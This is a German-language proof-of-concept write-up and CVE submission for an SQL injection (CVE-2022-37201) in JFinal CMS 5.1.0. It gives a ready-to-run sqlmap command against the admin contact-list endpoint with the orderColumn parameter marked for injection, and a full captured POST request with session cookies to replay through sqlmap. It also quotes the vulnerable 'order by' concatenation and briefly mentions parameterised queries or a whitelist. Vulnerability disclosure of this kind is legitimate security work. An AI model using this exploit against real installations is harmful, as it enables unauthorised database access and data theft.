
CVE-2022-37201 POC
CVE-2022-37201 POC
Zunächst solltest du sqlmap installieren
Du musst Folgendes setzen:
Dann führe das Shell-Kommando aus:
sqlmap -u http://targetDomainOrIP/jfinal_cms/jfinal_cms/admin/contact/list --thread 8 --batch --smart --random-agent --data "
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10" --cookie " your cookie " --current-db
image-20220730053527316
Manchmal solltest du wissen, dass das /jfinal_cms/ nicht notwendig ist. Du musst die Route beurteilen.
Du kannst den Code des Interfaces /system/menu/list sehen:
sql.append(" order by ").append(orderBy);
Es gibt eine SQL-Anweisung, die direkt zusammengesetzt wird.
Darüber hinaus
Es gibt keine Maßnahmen, um SQL-Injection zu verhindern, da SQL-Injection hier erforderlich ist.
Durch die Analyse dieses Funktionspunkts habe ich festgestellt, dass die Injection von orderby festgelegt ist, z. B. id, name, menu key. Du kannst versuchen, parametrisierte Abfragen zu verwenden oder eine Whitelist zu erstellen.
mein Test
POST /jfinal_cms/admin/contact/list HTTP/1.1
Host: 172.30.48.1
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.48.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.30.48.1/jfinal_cms/admin/contact/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BF13B42EDFC3DEC180959D6DF143BD18; Hm_lvt_1040d081eea13b44d84a4af639640d51=1659122360; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
Connection: close
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10
Führe es in sqlmap aus!!! Verwende -r
[Vorgeschlagene Beschreibung] JFinal CMS 5.1.0 ist anfällig für SQL Injection.
[Zusätzliche Informationen] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[Schwachstellentyp] SQL Injection
[Hersteller des Produkts] die Entwicklergruppe
[Betroffene Produkt-Codebasis] https://github.com/jflyfox/jfinal_cms - JFinal CMS 5.1.0
[Betroffene Komponente] Diese Schnittstellen verwenden nicht dieselbe Komponente und haben keine Filter, sondern jede verwendet ihre eigene SQL-Verkettungsmethode, was zu SQL-Injection führt.
[Angriffstyp] Remote
[Auswirkung Codeausführung] wahr
[Auswirkung Informationsoffenlegung] wahr
[Angriffsvektoren] Benutzeranmeldung erforderlich
[Referenz] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[Entdecker] jw5t